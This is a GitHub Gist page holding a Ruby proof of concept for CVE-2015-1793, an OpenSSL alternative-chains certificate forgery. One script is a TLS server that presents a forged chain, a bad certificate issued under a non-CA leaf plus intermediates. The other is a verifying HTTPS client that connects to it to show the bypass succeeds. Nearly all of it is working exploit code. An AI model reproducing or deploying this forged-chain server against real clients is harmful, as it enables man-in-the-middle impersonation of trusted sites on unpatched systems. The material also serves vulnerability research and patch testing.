Last active
August 29, 2015 14:24
-
-
Save knqyf263/57ec60dfe0821320505d to your computer and use it in GitHub Desktop.
Alternative chains certificate forgery(CVE-2015-1793)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/https' | |
https = Net::HTTP.new('bad', 12345) | |
https.use_ssl = true | |
https.verify_mode = OpenSSL::SSL::VERIFY_PEER | |
https.ca_file = 'certs/roots.pem' | |
https.start { |h| | |
response = h.get("/") | |
puts response.body | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
require 'openssl' | |
port = 12345 | |
bad = 'certs/bad.pem' | |
bad_key = 'certs/bad.key' | |
interCA = 'certs/interCA.pem' | |
subinterCA = 'certs/subinterCA.pem' | |
leaf = 'certs/leaf.pem' | |
ctx = OpenSSL::SSL::SSLContext.new | |
ctx.cert, *ctx.extra_chain_cert = [bad, leaf, subinterCA, interCA].map{|cert| OpenSSL::X509::Certificate.new File.read(cert)} | |
ctx.key = OpenSSL::PKey::RSA.new File.read(bad_key) | |
server = TCPServer.new port | |
sslServer = OpenSSL::SSL::SSLServer.new server, ctx | |
while client = sslServer.accept | |
client.puts "HTTP/1.1 200 OK\r\nContent-Length: 7\r\n\r\nSuccess" | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment